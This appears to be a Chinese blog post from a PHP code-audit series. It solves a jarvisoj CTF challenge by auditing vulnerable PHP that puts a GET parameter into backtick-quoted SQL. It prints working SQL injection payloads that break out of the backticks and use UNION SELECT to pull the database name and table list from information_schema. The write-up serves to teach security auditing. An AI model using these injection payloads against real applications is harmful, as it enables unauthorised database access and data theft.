zoukankan      html  css  js  c++  java
  • PHP代码审计分段讲解(13)

    代码审计分段讲解之29题,代码如下:

    <?php
    
    require("config.php");
    $table = $_GET['table']?$_GET['table']:"test";
    $table = Filter($table);
    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
    $sql = "select 'flag{xxx}' from secret_{$table}";
    $ret = sql_query($sql);
    echo $ret[0];
    
    ?>

    题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/

    我们直接开始进行代码审计

    包含config.php文件

    require("config.php");

    使用GET方式传入table,赋值给table,默认为test

    接着对table进行过滤

    $table = Filter($table);

    这里的Filter函数是我们不知道的,不过不影响代码审计

    接着是

    mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

    该行代码的意思为:

    当mysqli_query()函数执行成功,则不调用Hacker()函数

    当mysqli_query()函数执行失败,则调用Hacker()函数

    对于mysqli_query函数的解释:

    mysqli_query() 函数执行某个针对数据库的查询。//定义
    mysqli_query(connection,query,resultmode);//语法

    也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:

    1.png

    2.png

    又有:

    4.png

    从上图中可以看出来有:

    desc xxx xxx;

    desc `xxx` `xxx`

    desc 'xxx' 'xxx'

    desc "xxx" "xxx"

    语句一和语句二是同样的效果,能够正常执行

    语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。

    关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849

    反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号

    例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错

    select `from` from test

    接下来的代码是一段SQL语句查询,并且输出第一个结果:

    $ret = sql_query($sql);
    echo $ret[0];

    我们闭合反引号进行注入:

    默认为:

    desc `secret_test`
    select 'flag{xxx}' from secret_test

    查询数据库为:

    desc `secret_test` `union select database() limit 1,1
    select 'flag{xxx}' from secret_test` `union select database() limit 1,1

    得知数据库为:

    61d300

    获取表

    desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
    
    select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

    得知表为

    secret_flag,secret_test

    后面的注入不再赘述。

    提一下这个部分:

    select 'flag{xxx}' from secret_test` `union select database() limit 1,1

    这里的

    secret_test` `union

    关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。

    再提一下这个部分:

    limit 1,1

    因为可以看到代码最后是:

    echo $ret[0];

    因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。

     

    参考链接:

  • 相关阅读:
    每天一道LeetCode--141.Linked List Cycle(链表环问题)
    每天一道LeetCode--119.Pascal's Triangle II(杨辉三角)
    每天一道LeetCode--118. Pascal's Triangle(杨辉三角)
    CF1277D Let's Play the Words?
    CF1281B Azamon Web Services
    CF1197D Yet Another Subarray Problem
    CF1237D Balanced Playlist
    CF1239A Ivan the Fool and the Probability Theory
    CF1223D Sequence Sorting
    CF1228D Complete Tripartite
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13386348.html
Copyright © 2011-2022 走看看